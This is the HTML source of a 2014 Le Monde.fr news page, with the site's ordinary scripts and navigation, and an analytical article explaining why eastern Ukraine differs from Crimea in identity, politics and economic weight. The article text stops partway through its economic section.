+<meta name="msapplication-task" content="name=Sport;action-uri=/sport/;icon-uri=/medias/web/ico/ie9-pin/sport.ico">
+
+
+<link rel="apple-touch-icon-precomposed" sizes="72x72" href="//s1.lemde.fr/medias/web/1.2.652/ico/apple/icon-72.png">
+<link rel="apple-touch-icon-precomposed" sizes="144x144" href="//s1.lemde.fr/medias/web/1.2.652/ico/apple/icon-144.png">
+
+<meta property="og:type" content="article">
+<meta property="og:title" content="Pourquoi l'est de l'Ukraine n'est pas la Crimée">
+<meta property="og:site_name" content="Le Monde.fr">
+<meta property="og:description" content="Décryptage. Industriel et densément peuplé, l'est de l'Ukraine abrite les régions les plus riches du pays. Après la perte de la Crimée, Kiev se dit résolu à maintenir son intégrité territoriale.">
+<meta property="og:url" content="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html">
+<meta property="og:locale" content="fr_FR">
+<meta property="og:image" content="http://s1.lemde.fr/image/2014/04/15/200x200/4401406_4_691a_carte-linguistique-de-l-ukraine_faf8e2ebe3a32325ffc331f0b46aaa43.jpg">
+<meta property="og:image:height" content="200">
+<meta property="og:image:width" content="200">
+<meta property="og:image:type" content="image/jpeg">
+
+<meta property="fb:app_id" content="166878320861">
+<meta property="fb:page_id" content="14892757589">
+
+<meta name="twitter:card" content="summary">
+<meta name="twitter:site" content="@lemondefr">
+
+<link rel="shortcut icon" href="//s1.lemde.fr/medias/web/1.2.652/ico/favicon.ico">
+<link rel="stylesheet" type="text/css" href="//s1.lemde.fr/bootstrap/www/60294ff93346e36feaca96dfb5e014c4.css?m[]=normalize&m[]=fonts&m[]=grille&m[]=base&m[]=header&m[]=footer&m[]=rubrique&m[]=article&m[]=partenaires%2Fpaves&m[]=col_droite&m[]=ticker&m[]=couleurs&m[]=print&m[]=element&m[]=tmp%2Fportfolio&m[]=tmp%2Fzen&m[]=abonnes%2Foverlay">
+
+<link rel="canonical" href="http://www.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html">
+<link rel="alternate" href="http://mobile.lemonde.fr/europe/article/2014/04/15/aux-yeux-de-kiev-l-est-de-l-ukraine-n-est-pas-la-crimee_4400743_3214.html" media="only screen and (max-width: 640px)">
+<link rel="alternate" href="http://www.lemonde.fr/europe/rss_full.xml" title="Le Monde.fr : Europe" type="application/rss+xml">
+
+<script src="//s1.lemde.fr/medias/web/1.2.652/js/lib/require/core/current/require.js"></script>
+<script src="//s1.lemde.fr/bootstrap/www/main.js"></script>
+
+<script>
+ if(-1 === requirejs.s.contexts._.config.baseUrl.indexOf('lemde'))
+ {
+ require = function(){};
+ }
+</script>
+
+
+<script>
+"undefined"!==typeof lmd&&lmd||(lmd={});
+(function(e,d){var f=function(a,c){var b;if(void 0===c||null===c||""===c)return!0;for(b=0;b<a.requireModules.length;b++)if(a.requireModules[b].match(c))return!0;return!1},g=function(a,c){var b;for(b=0;b<d.requirejs.error_history.length;b++)f(d.requirejs.error_history[b],c)&&a.call(this,d.requirejs.error_history[b])},h=function(a){var c,b=d.requirejs.handlers;for(c=0;c<b.length;c++)f(a,b[c].regex)&&b[c].fn.call(this,a)};d.requirejs={handlers:[],error_history:[],addHandler:function(a,c,b){"undefined"!==
+typeof b&&b&&g(a,c);d.requirejs.handlers.push({fn:a,regex:c})}};requirejs.onError=function(a){h(a);d.requirejs.error_history.push(a);if("function"===typeof e.onerror)e.onerror("REQUIRE ERROR ("+a.requireType+") ["+a.originalError.target.src+"]",a.originalError.target.baseURI,"N/A");else throw a;}})(this,lmd);
+</script>
+<!--[if IE]>
+ <script src="//s1.lemde.fr/medias/web/1.2.652/js/lib/ecma/core/262/base64.js"></script>
+<![endif]-->
+<!--[if lte IE 9]>
+ <script src="//s1.lemde.fr/medias/web/1.2.652/js/lib/polyfill/placeholder.js"></script>
+<![endif]-->
+<!--[if lt IE 9]>
+ <script src="//s1.lemde.fr/medias/web/1.2.652/js/lib/html5shiv/html5.js"></script>
+ <script src="//s1.lemde.fr/medias/web/1.2.652/js/lib/ecma/core/262/array.js"></script>
+<![endif]-->
+<!--[if lte IE 8]>
+<![endif]-->
+
+<!--[if lte IE 7]>
+ <script src="//s1.lemde.fr/medias/web/1.2.652/js/lib/ecma/core/262/json.js"></script>
+<![endif]-->
+<script>SMART_listpos_temp=[];ADVERT_AD=function(a){SMART_listpos_temp.push(a)};</script>
+<script>if(lmd.conf.fsw.kameleoon){kameleoonOptions={asynchronous:true};require(["//static.kameleoon.com/css/customers/r9u0567aww/0/kameleoon.js"],function(){});}</script>
+
+<script>
+
+var _vrq = _vrq || [];
+_vrq.push(['id',53]);
+_vrq.push(['track',function(){}]);
+if(lmd.conf.fsw.visual_revenue && document.location.protocol=== "http:"){require(["http://a.visualrevenue.com/vrs.js"]);}
+</script>
+
+
+<script>var _sf_startpt = (new Date()).getTime()</script>
+
+<script>
+require(["lib/require/plugin/domReady","lmd/util/link"],function(a,b){a(function(){b.parse()})});
+
+</script>
+
+<script>if("undefined"===typeof lmd||!lmd)lmd={};lmd.pic=function(a){require(["lmd/module/retina"],function(b){b(a)})};lmpic=lmd.pic;</script><script>if("undefined"===typeof lmd||!lmd)lmd={};lmd.onload=function(a){var b;if("undefined"!==typeof addEventListener)return addEventListener("load",a,!1);if("undefined"!==typeof attachEvent)return attachEvent("onload",a);b=onload;onload="function"!==typeof onload?a:function(){b&&b();a()}};_lmOnLoad=lmd.onload;</script>
+<script>
+ require(["jquery", "lmd/ui/popup"], function($, popup){
+ $("body").on("click", ".js_trigger_login_register", function(event) {
+ var $closure = $(this),
+ datas = $closure.data();
+
+ event.preventDefault();
+
+ popup.openLogin({
+ route: $closure.data("route"),
+ redirect: $closure.data("redirect"),
+ redirect_abo: $closure.data("redirectAbo")
+ });
+
+ if (datas.xtclick !== undefined && datas.xtclick !== null && datas.xtclick !== "") {
+ require(["lmd/module/xiti/hit"], function(hit_xiti) {
+ hit_xiti.hit(window, "C", '75', datas.xtclick, "A");
+ });
+ }
+
+ return false;
+ });
+ });
+</script>
+
+<!--[if IE]>
+<script>require(["lib/require/plugin/domReady!","lmd/ui/ie9-pinning"],function(b,a){a.start()});</script>
+<![endif]-->
+
+<link rel="dns-prefetch" href="//cdn1.smartadserver.com">
+<link rel="dns-prefetch" href="//ww690.smartadserver.com">
+<link rel="dns-prefetch" href="//logc2.xiti.com">
+
+
+
+</head>
+
+<body class="international">
+
+ <header id="header">
+
+ <div id="alerte_tracking" class="bandeau_info_importante bord_gris_moyen" style="display:none;height:0;">
+ En poursuivant votre navigation sur ce site, vous acceptez l’utilisation de cookies pour vous proposer des contenus et services adaptés à vos centres d’intérêts.
+ <a href="http://www.lemonde.fr/service/conditions_generales_de_vente.html#faq_content_7320">En savoir plus et gérer ces paramètres</a>.
+ <span class="croix_grise mgl8" title="Fermer cet avertissement"></span>
+</div>
+<script>require(["lmd/module/user/alerte_tracking"]);</script>
+ <div id="surheader">
+ <div class="conteneur_haut">
+ <p class="gauche">
+ <a href="/" class="actif">Le Monde</a>
+ <span data-target="_blank" data-href="aHR0cDovL3d3dy50ZWxlcmFtYS5mci8=" class="obf">Télérama</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5tb25kZS1kaXBsb21hdGlxdWUuZnIv" class="obf">Le Monde diplomatique</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5odWZmaW5ndG9ucG9zdC5mci8=" class="obf">Le Huffington Post</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5jb3VycmllcmludGVybmF0aW9uYWwuY29tLw==" class="obf">Courrier international</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5sYXZpZS5mci8=" class="obf">La Vie</span> <span data-target="_blank" data-href="aHR0cDovL3d3dy5hdWphcmRpbi5pbmZvLw==" class="obf">au Jardin</span> </p>
+ <div class="droit">
+<span data-href="L2Fiby8/Y2xlZj1CVE5fQUJPR09MRDE0" class="bt_abo obf" onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'entrees_tunnel_abo::header','N');" title="Abonnez-vous au Monde à partir de 1 ¬">S'abonner au Monde à
+ partir de 1 €</span> <ul class="services droite">
+ <li>
+<span data-href="L3NlcnZpY2VzLw==" class="obf">Services Le Monde â–¾</span> <div>
+ <ul>
+ <li><strong>Boutique Le Monde</strong></li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvI3h0b3I9QUQtNDY=" class="obf">Accueil</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvZHZkLTEuaHRtbCN4dG9yPUFELTk4" class="obf">DVD</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvY2QuaHRtbCN4dG9yPUFELTk5" class="obf">CD</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvbGl2cmVzLmh0bWwjeHRvcj1BRC0xMDA=" class="obf">Livres</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvaG9ycy1zZXJpZXMuaHRtbCN4dG9yPUFELTEwMQ==" class="obf">Hors-séries</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvdW5lcy1kdS1tb25kZS5odG1sI3h0b3I9QUQtMTQ5" class="obf">Unes du Monde</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL2JvdXRpcXVlLmxlbW9uZGUuZnIvc2VsZWN0aW9uLWR1LW1vaXMuaHRtbCN4dG9yPUFELTEwMw==" class="obf">Sélection du mois</span> </li>
+ </ul>
+ <ul>
+ <li><strong>Partenaires Le Monde</strong></li>
+ <li>
+<span data-target="" data-href="aHR0cDovL3ZvaXR1cmUtb2NjYXNpb24ubGVtb25kZS5mcg==" class="obf">Annonces auto</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2ltbW9iaWxpZXIubGVtb25kZS5mci8=" class="obf">Annonces immo</span> </li>
+ <li>
+<span data-target="_blank" data-href="aHR0cDovL29mZnJlcy5vZmZyZXMtZW1wbG9pLm1vbnN0ZXIuZnIvP2NoPUxFTU9OREU=" class="obf">Annonces emploi</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2FuZ2xhaXMubGVtb25kZS5mcg==" class="obf">Cours d'anglais</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL3Nob3BwaW5nLmxlbW9uZGUuZnI=" class="obf">Shopping</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2NvbXBhcmF0ZXVycy1iYW5xdWVzLmxlbW9uZGUuZnIv" class="obf">Comparateur de banques</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL2NyZWRpdC5sZW1vbmRlLmZyLw==" class="obf">Comparateur de crédit</span> </li>
+ <li>
+<span data-target="" data-href="aHR0cDovL3ByaXgtaW1tb2JpbGllci5sZW1vbmRlLmZyL3ByaXgtaW1tb2JpbGllci8=" class="obf">Prix de l'immobilier</span> </li>
+ </ul>
+ </div>
+ </li>
+ </ul>
+ </div>
+ </div>
+ </div>
+
+ <div id="header_utilisateur">
+ <div class="conteneur_haut clearfix">
+ <a class="logo_lm95x16" href="/">Le Monde.fr</a>
+ <form name="recherche" action="/recherche/" method="get" class="recherche">
+ <p>
+ <label for="recherche_globale" class="cache">Rechercher&nbsp;:</label>
+ <input type="search" name="keywords" id="recherche_globale"
+placeholder="Rechercher dans nos articles" >
+ <input type="hidden" name="qt" value="recherche_globale" />
+ <input type="submit" value="rechercher" class="loupe">
+ </p>
+ </form>
+ <div class="sociaux">
+ <span>Suivez-nous</span>
+
+ <div id="header_facebook" class="fb20x20 facebook lien_social_header">
+ Facebook
+ <div class="conteneur_popinbox">
+ <div class="popinbox">
+ <div id="header_facebook_contenu" data-href="http://www.facebook.com/lemonde.fr" data-width="292"
+ data-show-faces="true" data-stream="false" data-header="false"
+ data-border-color="#D2D6DB"></div>
+ </div>
+ </div>
+ </div>
+ <div id="header_twitter" class="tw20x20 twitter lien_social_header">
+ Twitter
+ <div class="conteneur_popinbox">
+ <div class="popinbox">
+ <div id="header_twitter_contenu">
+ <span class="block txt4">Suivre le Monde sur Twitter</span>
+
+ <div class="liste_img_lien">
+<span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="block obf">
+ <img data-n-src="//s1.lemde.fr/medias/web/1.2.652/img/pictos/twitter_lemonde.jpg" alt="Avatar lemonde.fr" width="48" height="48" class="radius5"></span> <span data-target="_blank" data-href="aHR0cDovL3R3aXR0ZXIuY29tL2xlbW9uZGVmcg==" class="block obf">@lemondefr</span> <a href="http://twitter.com/lemondefr" class="twitter-follow-button" data-show-count="true"
+ data-lang="fr">Suivre @lemondefr</a>
+ </div>
+ </div>
+ </div>
+ </div>
+ </div>
+<span data-target="_blank" data-href="aHR0cDovL3BsdXMuZ29vZ2xlLmNvbS8xMDk3NTU4MzQwMzgwNTE0NjA2Nzg=" class="google20x20 obf" title="Suivez LeMonde.fr sur Google+">
+ Google+
+ </span> </div>
+
+ <a class="nl js_trigger_login_register" data-route="newsletters" data-xtclick="tunnel_inscription_2014::lien_header::recevez_nos_newsletters" href="https://wwws.lemonde.fr/account/?route=newsletters">Recevez nos newsletters<span>&nbsp;</span></a>
+
+<span data-href="L2VtcGxvaS8=" class="lien_promo obf" onclick="return xt_click(this, 'N', lmd.context.page.xiti.xtn2, 'Lien_emploi_header' ,'N');">Emploi</span>
+ <p class="meteo js_meteo" style="display:none">
+<span data-href="L3ZvdHJlX2NvbXB0ZS8jbWV0ZW8=" class="ville-meteo obf" title="Choisissez d'afficher la météo de vos villes fétiches">Affichez ici la météo de votre ville</span> </p>
+
+ <div class="js_identifiant">
+ <a class="btn identifier js_trigger_login_register" data-route="connexion" id="btn_identification" data-xtclick="tunnel_inscription_2014::lien_header::connexion" href="https://wwws.lemonde.fr/account/?route=connexion">Connexion</a>
+ <a class="txt2 gras adroite js_trigger_login_register" data-route="newsletters" id="btn_inscription" data-xtclick="tunnel_inscription_2014::lien_header::inscrivez_vous" href="https://wwws.lemonde.fr/account/?route=newsletters">Inscrivez-vous</a>
+ </div>
+
+ </div>
+
+ </div>
+</header>
+
+ <div id="body-publicite">
+ <script>
+require(["lmd/core/auth", "lmd/ui/header/header"], function(a,b){a.loadUser().done(function(){b.init();})});
+require(["lmd/module/acces-non-abonne"],function(a){a.init();});
+</script>
+ <div class="position_pub habillage" data-adformat="habillage" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21486">
+ <script>
+ //sas_manager.render(21486);
+ ADVERT_AD(['50270/361621', 21486, '', 'habillage']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21486/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21486/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+
+<div class="position_pub top banniere" data-adformat="top" data-adsite="50270" data-adpage="361621" data-adquery="" data-adformat-id="21482">
+ <script>
+ //sas_manager.render(21482);
+ ADVERT_AD(['50270/361621', 21482, '', 'top']);
+ </script>
+ <noscript>
+ <a href="http://ww690.smartadserver.com/call/pubjumpi/50270/361621/21482/S/1397596845/?" target="_blank">
+ <img src="http://ww690.smartadserver.com/call/pubi/50270/361621/21482/S/1397596845/?" border="0" alt=""></a>
+ </noscript>
+ </div>
+ <nav id="nav" class=" international ">
+ <ul>
+ <li class="accueil">
+ <span data-href="Lw==" onclick="Une" class="obf"><i class="maison">Accueil</i></span> </li>
+ <li class="international actif">
+ <span data-href="L2ludGVybmF0aW9uYWwv" class="obf">International</span> </li>
+ <li class="politique">
+ <span data-href="L3BvbGl0aXF1ZS8=" class="obf">Politique</span> </li>
+ <li class="societe">
+ <span data-href="L3NvY2lldGUv" class="obf">Société</span> </li>
+ <li class="economie">
+ <span data-href="L2Vjb25vbWllLw==" class="obf">Éco</span> </li>
+ <li class="culture">
+ <span data-href="L2N1bHR1cmUv" class="obf">Culture</span> </li>
+ <li class="idees">
+ <span data-href="L2lkZWVzLw==" class="obf">Idées</span> </li>
+ <li class="planete">
+ <span data-href="L3BsYW5ldGUv" class="obf">Planète</span> </li>
+ <li class="sport">
+ <span data-href="L3Nwb3J0Lw==" class="obf">Sport</span> </li>
+ <li class="sciences">
+ <span data-href="L3NjaWVuY2VzLw==" class="obf">Sciences</span> </li>
+ <li class="techno">
+ <span data-href="L3RlY2hub2xvZ2llcy8=" class="obf">Techno</span> </li>
+ <li class="style">
+ <span data-href="L3N0eWxlLw==" class="obf">Style</span> </li>
+ <li class="vous">
+ <span data-href="L3ZvdXMv" class="obf">Vous</span> </li>
+ <li class="education">
+ <span data-href="L2VkdWNhdGlvbi8=" class="obf">Éducation</span> </li>
+ <li class="abonnes">
+ <span data-href="L3RlYXNlci8/Y2xlZj1CQVJOQVYxNA==" onclick="return xt_click(this, 'C', lmd.context.page.xiti.xtn2, 'entrees_tunnel_abo::bar_nav','N');" class="obf">Édition Abonnés</span> </li>
+ </ul>
+</nav>
+
+ <div class="ombrelle ombrelle_europe">
+ <div class="tt_rubrique_ombrelle"><span class="m_titre"></span><span data-href="L2V1cm9wZS8=" class="couleur_rubrique obf">Europe</span></div>
+ <span class="widget">
+ <div id="widget_container" data-uri="/ajah/5m/lemonde/web/Controller_Module_Widget_PromoEdito/actionAfficher/WzM/yMT/Rd/EMPTY/?key=3d3358ad6f75676d72226effb52b74b80d16d534">
+ </div>
+</span>
+</div>
+
+ <div id="ariane-context-3214">
+ <div class="clearall" id="ariane_az">
+ <nav id="nav_ariane" class="international">
+ <ul>
+ <li class="ariane z2">
+ <a href="/international/">International</a>
+ </li>
+ <li class="ariane z1 actif">
+ <a href="/europe/">Europe</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/europeennes-2014/">Europ&eacute;ennes 2014</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/allemagne/">Allemagne</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/belgique/">Belgique</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/espagne/">Espagne</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/grece/">Gr&egrave;ce</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/italie/">Italie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/royaume-uni/">Royaume-Uni</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/union-europeenne/">Union europ&eacute;enne</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/crise-de-l-euro/">Crise de l'euro</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/ukraine/">Ukraine</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/russie/">Russie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/albanie/">Albanie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/bielorussie/">Bi&eacute;lorussie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/bosnie-herzegovine/">Bosnie-Herz&eacute;govine</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/cei/">CEI</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/georgie/">G&eacute;orgie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/moldavie/">Moldavie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/monaco/">Monaco</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/montenegro/">Mont&eacute;n&eacute;gro</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/norvege/">Norv&egrave;ge</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/otan/">OTAN</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/serbie/">Serbie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/suisse/">Suisse</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/tchetchenie/">Tch&eacute;tch&eacute;nie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/turquie/">Turquie</a>
+ </li>
+ <li class="sous_rub">
+ <a href="/vatican/">Vatican</a>
+ </li>
+ </ul>
+ <div class="az" style="display:none;">
+ <span class="bt_ouvrir">&nbsp;</span>
+ </div>
+ </nav>
+ <div class="suite_entrees">
+ <p class="entrees">
+ </p>
+ </div>
+
+
+ </div>
+</div>
+<script>
+require(["lmd/ui/liste-az"],function(a){a.init({context:'#ariane-context-3214'})});
+</script>
+
+ <div class="global">
+
+ <div class="top_container_article"></div>
+
+ <div class="container_18 clearfix">
+ <div class="grid_10 alpha prefix_1 suffix_1"><!-- col gauche -->
+
+
+ <article class="article article_normal" itemscope itemtype="http://schema.org/NewsArticle">
+
+ <h1 class="tt2" itemprop="Headline">Pourquoi l'est de l'Ukraine n'est pas la Crim&eacute;e</h1>
+
+ <p class="bloc_signature">
+ <span id="publisher" itemprop="Publisher" data-source="Le Monde.fr">Le Monde</span> | <time datetime="2014-04-15T18:37:11+02:00"
+ itemprop="datePublished">15.04.2014 &agrave; 18h37</time>
+ • Mis à jour le
+<time datetime="2014-04-15T23:15:35+02:00"
+ itemprop="dateModified">15.04.2014 &agrave; 23h15</time>
+ |
+<span class="signature_article">
+Par <span itemprop="author" class="auteur txt2_120"><a class="auteur" target="_blank" href="/journaliste/mathilde-gerard/">Mathilde G&eacute;rard</a></span>
+</span>
+
+</p>
+
+
+ <div class="toolbar"></div>
+<div class="fb-like" data-send="true" data-width="450" data-height="20" data-show-faces="true" data-action="recommend"
+ data-font="arial"></div>
+
+
+ <div id="articleBody" class="contenu_article" itemprop="articleBody">
+ <h2>Les tensions en Ukraine se sont accélérées, mi-avril, avec l'occupation par des forces pro-russes de plusieurs bâtiments publics des grandes villes de l'Est, demandant la tenue de référendums d'autodétermination et refusant de <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/reconna%C3%AEtre">reconnaître</a> les autorités de Kiev. Après la péninsule de Crimée, rattachée à la <a class="lien_interne rub" href="http://www.lemonde.fr/russie/">Russie</a> suite à un référendum le 16 mars, l'<a class="lien_interne rub" href="http://www.lemonde.fr/ukraine/">Ukraine</a> fait face à une nouvelle menace de désintégration. Kiev se dit résolu à ne pas <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/deuxieme-groupe/subir">subir</a> un nouvel affront, d'autant que l'Est a un poids économique et démographique bien plus important que la Crimée. Mais sur le terrain, les soldats ukrainiens se font discrets et « l'opération antiterroriste » annoncée par les autorités n'a toujours pas débuté.</h2>
+<p class="lire">Lire les dernières informations <a href="/europe/article/2014/04/15/en-ukraine-la-vraie-fausse-operation-antiterroriste-dans-l-est_4402015_3214.html">En Ukraine, la vraie fausse « opération antiterroriste » dans l'Est</a></p>
+<ul>
+<li><strong>Des liens identitaires ambivalents</strong></li>
+</ul>
+<p>Contrairement aux Criméens, qui n'ont été rattachés à l'Ukraine qu'en 1954, les habitants des régions de l'Est ont une histoire commune avec Kiev, beaucoup plus ancienne, même si les territoires ukrainiens ont connu des mouvements de frontières incessants depuis le X<sup>e</sup> siècle.</p>
+<p class="lire"><strong>Lire notre éclairage historique : <a href="/europe/article/2014/02/26/ukraine-la-memoire-eclatee_4373502_3214.html">Des princes de Kiev à l'indépendance, mille ans d'identité ukrainienne</a></strong></p>
+<p>Si les régions situées à l'est du Dniepr ont été pleinement intégrées à l'empire russe à la fin du XVII<sup>e </sup>siècle, tandis que l'ouest de l'Ukraine fait partie de la <a class="lien_interne rub" href="http://www.lemonde.fr/pologne/">Pologne</a>, une Ukraine indépendante, rassemblant Est et Ouest, voit brièvement le jour en 1918, avant d'<a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/auxiliaire/%C3%AAtre">être</a> intégrée en 1922 dans l'Union soviétique et ce pour près de 70 ans. L'histoire mouvementée de l'Ukraine, <a class="lien_interne bourse" href="http://www.lemonde.fr/bourse/nyse-euronext-paris-equities/ses/">ses</a> frontières changeantes, sa mémoire éclatée entre Est et Ouest et sa <a class="lien_interne rub" href="http://www.lemonde.fr/demographie/">population</a> multi-ethnique, expliquent l'attachement culturel et linguistique des populations orientales à la Russie. Malgré tout, à Kharkiv, Donetsk, ou Dnipropetrovsk, de nombreux habitants se sentent « ukrainiens », même si le nationalisme y est nettement plus discret que dans l'ouest du pays.</p>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401406_6_a990_carte-linguistique-de-l-ukraine_dea34eb90ac67e6b4ead5df34929c5d1.jpg" alt="Carte linguistique de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte linguistique de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
+<p><em>« En raison de la diversité ethnique, culturelle et linguistique du pays, il y a diverses manières d'<a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/auxiliaire/%C3%AAtre">être</a> ukrainien</em>, explique la politologue Ioulia Shukan<strong></strong>, maître de conférences à l'université <a class="lien_interne rub" href="http://www.lemonde.fr/paris/">Paris</a>-Ouest-Nanterre-La <span class="lien_interne rub">Défense</span> (<span class="lien_interne rub">Paris</span> X)<em>. On a tendance à <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/pr%C3%A9senter">présenter</a> schématiquement le Donbass </em>[zone géographique regroupant les régions de Donetsk et de Lougansk]<em> comme un territoire exclusivement russophone. <a class="lien_interne bourse" href="http://www.lemonde.fr/bourse/forex-data-lite/gold-united-states-dollar/">Or</a>, les populations rurales dans ce territoire minier parlent majoritairement ukrainien. En plus des Russes et des Ukrainiens, y vivent également des populations <a class="lien_interne rub" href="http://www.lemonde.fr/arm/">arm</a>éniennes, géorgiennes ou encore grecques. » </em>Pour la chercheuse,<em> </em>ces populations, quelle que soit leur origine ethnique ou leur langue, partagent dans leur grande majorité le sentiment d'appartenance à l'Ukraine.<em> «<em> </em>Les derniers sondages disponibles montrent d'ailleurs que près de 70 % des populations de la région de Donetsk associent leur <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/avenir">avenir</a> avec l'Ukraine.<em> </em>» </em></p>
+<ul>
+<li><strong>Un fossé <a class="lien_interne rub" href="http://www.lemonde.fr/politique/">politique</a> grandissant<br /></strong></li>
+</ul>
+<p>Sur le plan politique, la fracture entre le <a class="lien_interne rub" href="http://www.lemonde.fr/centre/">centre</a>-ouest et le sud-est du pays est en revanche très nette et s'est accentuée ces dernières années. <em>« Depuis l'indépendance de l'Ukraine, les scrutins présidentiels se traduisent par un soutien fort apporté aux candidats “<em>pro-européensâ€</em> au Centre-Ouest et à des candidats labellisés proches de la Russie au Sud-Est</em>, note Ioulia Shukan.<em> Cependant, elles n'ont pas posé problème au cours des années 1990, mis à part en Crimée, où le mouvement sécessionniste était fort dans la première moitié des années 1990. »</em></p>
+<p>La situation change avec la « révolution <a class="lien_interne rub" href="http://www.lemonde.fr/orange/">orange</a> » de l'hiver 2004-2005, qui marque la volonté d'une partie de l'élite politique ukrainienne de se <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/rapprocher">rapprocher</a> de l'<a class="lien_interne rub" href="http://www.lemonde.fr/europe/">Europe</a>. La question de l'<a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/troisieme-groupe/avenir">avenir</a> du pays divise alors les habitants de l'Est et de l'Ouest : pour les Ukrainiens de l'Est, Moscou est perçu comme le garant d'une stabilité, tandis qu'à l'Ouest, la Russie est vue comme l'ancienne force impérialiste tentant de manœuvrer et <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/diriger">diriger</a> les politiques de Kiev. Les élites politiques profitent alors de ce fossé pour <a target="_blank" onclick="return false;" class="lien_interne conjug" href="http://conjugaison.lemonde.fr/conjugaison/premier-groupe/exacerber">exacerber</a> les différences entre Est et Ouest, les courants nationalistes comme Svoboda s'implantant durablement dans les régions occidentales, tandis que le Parti des régions de Viktor Ianoukovitch fait de Donetsk, la deuxième ville du pays, son principal fief.</p>
+<p><div class="video_player">
+<iframe src="http://www.dailymotion.com/embed/video/x1dltfd" frameborder="0" width="494" height="294"></iframe>
+</div></p>
+<ul>
+<li><strong>Economiquement, une région de poids</strong></li>
+</ul>
+<p><figure class="illustration_haut">
+<img width="534" data-lazyload="false" src="http://s2.lemde.fr/image/2014/04/15/534x0/4401446_6_efcf_carte-economique-de-l-ukraine_657e531bf0356e8870d95100b7ac1869.jpg" alt="Carte économique de l'Ukraine" title="Le Monde.fr" onload="lmd.pic(this);" onerror="lmd.pic(this);" class="lazy-retina"> <figcaption style="display: none;" data-caption="Carte &eacute;conomique de l'Ukraine | Le Monde.fr"></figcaption>
+</figure>
+</p>
